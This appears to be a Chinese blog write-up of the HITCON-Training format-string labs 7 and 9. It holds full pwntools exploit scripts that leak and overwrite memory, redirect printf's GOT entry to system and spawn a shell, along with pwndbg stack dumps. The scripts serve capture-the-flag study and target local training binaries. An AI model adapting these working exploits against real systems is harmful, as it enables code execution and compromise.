Fork me on GitHub

Format-String-Bug-Training

题目地址:https://github.com/scwuaptx/HITCON-Training


HITCON-Training-lab7

首先checksec一下

1
2
3
4
5
6
7
▶ checksec crack 
[*] 'HITCON-Training-master/LAB/lab7/crack'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

开了栈保护,NX保护(shellcode不可执行),但没开PIE(地址不随机化)

用IDA看下伪代码可以发现printf(&buf),典型的Format String Bug

分析代码发现只要知道了随机化的password即可得到flag,所以这里只用实现任意地址的读,当然也有其他方法。

%x和%p都是直接打印16进制数据,不同在于%p会在数据前面加上0x

%s是把数据当做地址取其内容以字符串的形式输出

(其实这是c语言的内容,但是放到pwn里面我…想了很久,是真的菜)

要实现读取地址指向的数据一般用%s

任意地址读-leak_passwd_value

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'
#read_anything:leak_passwd_value

from pwn import *
context.log_level = 'debug'

io = process('./crack')

passwd_addr = 0x804a048

payload = p32(passwd_addr) + '+' + '%10$s' + '+'
io.sendlineafter("? ",payload)
io.recvuntil('+')
passwd = io.recvuntil('+')
print passwd
passwd = u32(passwd[:4])

io.sendlineafter(":",str(passwd))
io.interactive()

任意地址写-change_passwd_value

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'
#write_anything1:change_passwd_value

from pwn import *
context.log_level = 'debug'

io = process('./crack')

passwd_addr = 0x804a048
payload = fmtstr_payload( 10, {passwd_addr:233} )

io.sendlineafter("? ",payload)
io.sendlineafter(":",'233')

io.interactive()

任意地址写-change_printf_addr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'
#write_anything2:change_printf_addr

from pwn import *
context.log_level = 'debug'

io = process('./crack')
elf = ELF('./crack')

printf_got = elf.got['printf']
cat_flag_addr = 0x8048725
payload = fmtstr_payload( 10, {printf_got:cat_flag_addr} )

io.sendlineafter("? ",payload)
io.sendline('666')
io.interactive()


HITCON-Training-lab9

用IDA看源码能看到有个函数叫do_fmt,其伪代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int do_fmt()
{
int result; // eax

while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}

由于这里的buf全局变量,位于bss段;而lab7中的buf局部变量,在栈上。

关于这两个的区别详见:https://blog.csdn.net/Fortware/article/details/79311059

这时我们不能直接通过bufprintf覆盖为system,但是可以控制栈上的其它数据达到同样的效果。

通过gdb调试,在0x08048533处下断点,看下栈上的分布

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> stack 20
00:0000│ esp 0xffffd3e0 —▸ 0x804a060 (buf) ◂— '\naaa\n'
01:0004│ 0xffffd3e4 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */
02:0008│ 0xffffd3e8 ◂— 0x4
03:000c│ 0xffffd3ec —▸ 0x804857c (play+51) ◂— add esp, 0x10
04:0010│ 0xffffd3f0 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d
05:0014│ 0xffffd3f4 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0

06:0018│ ebp 0xffffd3f8 —▸ 0xffffd408 —▸ 0xffffd418 ◂— 0x0 ****ebp*****
07:001c│ 0xffffd3fc —▸ 0x8048584 (play+59) ◂— nop ****ebp+0x4***
08:0020│ 0xffffd400 —▸ 0xf7fadd60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│ 0xffffd404 ◂— 0x0
0a:0028│ 0xffffd408 —▸ 0xffffd418 ◂— 0x0 **ebp+0x10**
0b:002c│ 0xffffd40c —▸ 0x80485b1 (main+42) ◂— nop **ebp+0x14**
0c:0030│ 0xffffd410 —▸ 0xf7fad3dc (__exit_funcs) —▸ 0xf7fae1e0 (initial) ◂— 0x0
0d:0034│ 0xffffd414 —▸ 0xffffd430 ◂— 0x1
0e:0038│ 0xffffd418 ◂— 0x0
0f:003c│ 0xffffd41c —▸ 0xf7e12276 (__libc_start_main+246) ◂— add esp, 0x10
10:0040│ 0xffffd420 ◂— 0x1
11:0044│ 0xffffd424 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
12:0048│ 0xffffd428 ◂— 0x0
13:004c│ 0xffffd42c —▸ 0xf7e12276 (__libc_start_main+246) ◂— add esp, 0x10

首先我们知道ebp -> ebp+0x10,如果我们能使ebp+0x10 -> ebp+0x4,那么就能通过修改ebp+0x10的内容的值为printf_got,从而泄露printf的真实地址,得到system的真实地址。

注意:当我们通过%123c%10$hn修改值的时候,实际上是修改0xffffd408的内容的值的低两个字节为123,这里有两层的递进,每次做pwn都要在我到底改的是哪层纠结好久:-(

第一次利用ebp+0x4printf_got,并通过%$hnprintf_got原本存的printf的真实地址的低两个字节修改为system的真实地址的低两个字节,第二次利用ebp+0x14printf_got+2,将printf的真实地址的高两个字节修改为system的真实地址的高两个字节。达到将printf函数覆盖为system函数的目的。

在写脚本的时候遇到了一个问题,io.recv()每次接受0x1000个字节,但是我每次都发了超过0x1000个字节,这会导致后面在通过一些标志字符io.recvuntil的时候报EOF错误,后来我每次发完之后通过my_recv函数把字符接收完成再进行下一次操作:-)

我看m4x学长的题解发现他那没有这个问题,好像是因为他用的是io.sendafter,就没有recv

exp如下,过程中栈的“理想”内容放里面了,应该挺好理解的:-)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

from pwn import *
context.log_level = 'debug'
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

io = process('./playfmt')
elf = ELF('./playfmt')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

def my_recv():

while 1:
io.sendline('233\0')
sleep(0.2)
aa = io.recv()
if aa.find('233') != -1:
break


if __name__ == '__main__':


# gdb.attach(io,"b *do_fmt")
printf_got = 0x0804A010

io.sendline('-%6$x-')
io.recvuntil('-')
ebp = int(io.recvuntil('-')[:-1],16)-0x10

'''
pwndbg> stack 20
00:0000│ esp 0xffffd3e0 —▸ 0x804a060 (buf) ◂— 'aaaa\n'
01:0004│ 0xffffd3e4 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */
02:0008│ 0xffffd3e8 ◂— 0x4
03:000c│ 0xffffd3ec —▸ 0x804857c (play+51) ◂— add esp, 0x10
04:0010│ 0xffffd3f0 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d
05:0014│ 0xffffd3f4 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
06:0018│ ebp 0xffffd3f8 —▸ 0xffffd408 —▸ 0xffffd418 ◂— 0x0 //ebp//
07:001c│ 0xffffd3fc —▸ 0x8048584 (play+59) ◂— nop //ebp+1//
08:0020│ 0xffffd400 —▸ 0xf7fadd60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│ 0xffffd404 ◂— 0x0
0a:0028│ 0xffffd408 —▸ 0xffffd418 ◂— 0x0 //ebp+4//
0b:002c│ 0xffffd40c —▸ 0x80485b1 (main+42) ◂— nop //ebp+5//
0c:0030│ 0xffffd410 —▸ 0xf7fad3dc (__exit_funcs) —▸ 0xf7fae1e0 (initial) ◂— 0x0
0d:0034│ 0xffffd414 —▸ 0xffffd430 ◂— 0x1
0e:0038│ 0xffffd418 ◂— 0x0
0f:003c│ 0xffffd41c —▸ 0xf7e12276 (__libc_start_main+246) ◂— add esp, 0x10
10:0040│ 0xffffd420 ◂— 0x1
11:0044│ 0xffffd424 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
12:0048│ 0xffffd428 ◂— 0x0
13:004c│ 0xffffd42c —▸ 0xf7e12276 (__libc_start_main+246) ◂— add esp, 0x10
'''
#ebp_4 -> ebp_1
print "ebp+4 = {}".format(hex(ebp+4))
payload = "%" + str((ebp+4)&0xffff) + "c%6$hn"
io.sendline(payload)
info(payload)
my_recv()
pause()

io.sendline('+%10$p+')
io.recvuntil('+')
io.recvuntil('+')
pause()
'''
pwndbg> stack 20
00:0000│ esp 0xffffd3e0 —▸ 0x804a060 (buf) ◂— '%54268c%6$hn\n'
01:0004│ 0xffffd3e4 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */
02:0008│ 0xffffd3e8 ◂— 0x4
03:000c│ 0xffffd3ec —▸ 0x804857c (play+51) ◂— add esp, 0x10
04:0010│ 0xffffd3f0 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d
05:0014│ 0xffffd3f4 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
06:0018│ ebp 0xffffd3f8 —▸ 0xffffd408 —▸ 0xffffd3fc —▸ 0x8048584 (play+59) ◂— nop
07:001c│ 0xffffd3fc —▸ 0x8048584 (play+59) ◂— nop
08:0020│ 0xffffd400 —▸ 0xf7fadd60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│ 0xffffd404 ◂— 0x0
0a:0028│ 0xffffd408 —▸ 0xffffd3fc —▸ 0x8048584 (play+59) ◂— nop
0b:002c│ 0xffffd40c —▸ 0x80485b1 (main+42) ◂— nop
0c:0030│ 0xffffd410 —▸ 0xf7fad3dc (__exit_funcs) —▸ 0xf7fae1e0 (initial) ◂— 0x0
0d:0034│ 0xffffd414 —▸ 0xffffd430 ◂— 0x1
0e:0038│ 0xffffd418 ◂— 0x0
0f:003c│ 0xffffd41c —▸ 0xf7e12276 (__libc_start_main+246) ◂— add esp, 0x10
10:0040│ 0xffffd420 ◂— 0x1
11:0044│ 0xffffd424 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
12:0048│ 0xffffd428 ◂— 0x0
13:004c│ 0xffffd42c —▸ 0xf7e12276 (__libc_start_main+246) ◂— add esp, 0x10
'''

#ebp_1 -> printf_got
payload = "%" + str(printf_got&0xffff) + "c%10$hn"
#gdb.attach(io,'b *0x80484fb\nc')
io.sendline(payload)
info(payload)
my_recv()
pause()

io.sendline('-%7$p-')
io.recvuntil('-')
io.recvuntil('-')
pause()
#print hex(leak_printf())

'''
pwndbg> stack 20
00:0000│ esp 0xffffd3e0 —▸ 0x804a060 (buf) ◂— '%40976c%10$hn\n'
01:0004│ 0xffffd3e4 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */
02:0008│ 0xffffd3e8 ◂— 0x4
03:000c│ 0xffffd3ec —▸ 0x804857c (play+51) ◂— add esp, 0x10
04:0010│ 0xffffd3f0 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d
05:0014│ 0xffffd3f4 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
06:0018│ ebp 0xffffd3f8 —▸ 0xffffd408 —▸ 0xffffd3fc —▸ 0x804a010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0xf7e43930 (printf) ◂— ...
07:001c│ 0xffffd3fc —▸ 0x804a010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0xf7e43930 (printf) ◂— call 0xf7f1aae9
08:0020│ 0xffffd400 —▸ 0xf7fadd60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│ 0xffffd404 ◂— 0x0
0a:0028│ 0xffffd408 —▸ 0xffffd3fc —▸ 0x804a010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0xf7e43930 (printf) ◂— call 0xf7f1aae9
0b:002c│ 0xffffd40c —▸ 0x80485b1 (main+42) ◂— nop
0c:0030│ 0xffffd410 —▸ 0xf7fad3dc (__exit_funcs) —▸ 0xf7fae1e0 (initial) ◂— 0x0
0d:0034│ 0xffffd414 —▸ 0xffffd430 ◂— 0x1
0e:0038│ 0xffffd418 ◂— 0x0
0f:003c│ 0xffffd41c —▸ 0xf7e12276 (__libc_start_main+246) ◂— add esp, 0x10
10:0040│ 0xffffd420 ◂— 0x1
11:0044│ 0xffffd424 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
12:0048│ 0xffffd428 ◂— 0x0
13:004c│ 0xffffd42c —▸ 0xf7e12276 (__libc_start_main+246) ◂— add esp, 0x10
'''

#print hex(leak_printf())

#ebp_4 -> ebp_5
payload = '%' + str((ebp+0x14)&0xffff) + 'c%6$hn'
io.sendline(payload)
info(payload)
my_recv()
pause()
'''
pwndbg> stack 20
00:0000│ esp 0xffffd3e0 —▸ 0x804a060 (buf) ◂— '%54284c%6$hn\n\n'
01:0004│ 0xffffd3e4 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */
02:0008│ 0xffffd3e8 ◂— 0x4
03:000c│ 0xffffd3ec —▸ 0x804857c (play+51) ◂— add esp, 0x10
04:0010│ 0xffffd3f0 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d
05:0014│ 0xffffd3f4 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
06:0018│ ebp 0xffffd3f8 —▸ 0xffffd408 —▸ 0xffffd40c —▸ 0x80485b1 (main+42) ◂— nop
07:001c│ 0xffffd3fc —▸ 0x804a010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0xf7e43930 (printf) ◂— call 0xf7f1aae9
08:0020│ 0xffffd400 —▸ 0xf7fadd60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│ 0xffffd404 ◂— 0x0
0a:0028│ 0xffffd408 —▸ 0xffffd40c —▸ 0x80485b1 (main+42) ◂— nop
0b:002c│ 0xffffd40c —▸ 0x80485b1 (main+42) ◂— nop
0c:0030│ 0xffffd410 —▸ 0xf7fad3dc (__exit_funcs) —▸ 0xf7fae1e0 (initial) ◂— 0x0
0d:0034│ 0xffffd414 —▸ 0xffffd430 ◂— 0x1
0e:0038│ 0xffffd418 ◂— 0x0
0f:003c│ 0xffffd41c —▸ 0xf7e12276 (__libc_start_main+246) ◂— add esp, 0x10
10:0040│ 0xffffd420 ◂— 0x1
11:0044│ 0xffffd424 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
12:0048│ 0xffffd428 ◂— 0x0
13:004c│ 0xffffd42c —▸ 0xf7e12276 (__libc_start_main+246) ◂— add esp, 0x10

'''
#ebp_5 -> printf_got+2
payload = '%' + str((printf_got+2)&0xffff) + 'c%10$hn'
io.sendline( payload)
info(payload)
my_recv()
pause()
'''
pwndbg> stack 20
00:0000│ esp 0xffffd3e0 —▸ 0x804a060 (buf) ◂— '%40978c%10$hn\n'
01:0004│ 0xffffd3e4 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */
02:0008│ 0xffffd3e8 ◂— 0x4
03:000c│ 0xffffd3ec —▸ 0x804857c (play+51) ◂— add esp, 0x10
04:0010│ 0xffffd3f0 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d
05:0014│ 0xffffd3f4 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
06:0018│ ebp 0xffffd3f8 —▸ 0xffffd408 —▸ 0xffffd40c —▸ 0x804a012 (_GLOBAL_OFFSET_TABLE_+18) ◂— 0x9870f7e4
07:001c│ 0xffffd3fc —▸ 0x804a010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0xf7e43930 (printf) ◂— call 0xf7f1aae9
08:0020│ 0xffffd400 —▸ 0xf7fadd60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│ 0xffffd404 ◂— 0x0
0a:0028│ 0xffffd408 —▸ 0xffffd40c —▸ 0x804a012 (_GLOBAL_OFFSET_TABLE_+18) ◂— 0x9870f7e4
0b:002c│ 0xffffd40c —▸ 0x804a012 (_GLOBAL_OFFSET_TABLE_+18) ◂— 0x9870f7e4
0c:0030│ 0xffffd410 —▸ 0xf7fad3dc (__exit_funcs) —▸ 0xf7fae1e0 (initial) ◂— 0x0
0d:0034│ 0xffffd414 —▸ 0xffffd430 ◂— 0x1
0e:0038│ 0xffffd418 ◂— 0x0
0f:003c│ 0xffffd41c —▸ 0xf7e12276 (__libc_start_main+246) ◂— add esp, 0x10
10:0040│ 0xffffd420 ◂— 0x1
11:0044│ 0xffffd424 —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
12:0048│ 0xffffd428 ◂— 0x0
13:004c│ 0xffffd42c —▸ 0xf7e12276 (__libc_start_main+246) ◂— add esp, 0x10
'''

#leak_printf

io.sendline('+%7$s+')
io.recvuntil('+')
printf_addr = u32(io.recv()[:4])
print "[+]printf -> {}".format(hex(printf_addr))


system_addr = libc.symbols['system'] + printf_addr - libc.symbols['printf']
payload = '%' + str(system_addr&0xffff) + 'c%7$hn'
if (system_addr>>16)-(system_addr&0xffff) < 0 :
payload += '%' + str(0xffff+(system_addr>>16)-(system_addr&0xffff)) + 'c%11$hn'
else:
payload += '%' + str((system_addr>>16)-(system_addr&0xffff)) + 'c%11$hn'

io.sendline(payload)

#print hex(system_addr)
io.sendline('/bin/sh\x00')

io.interactive()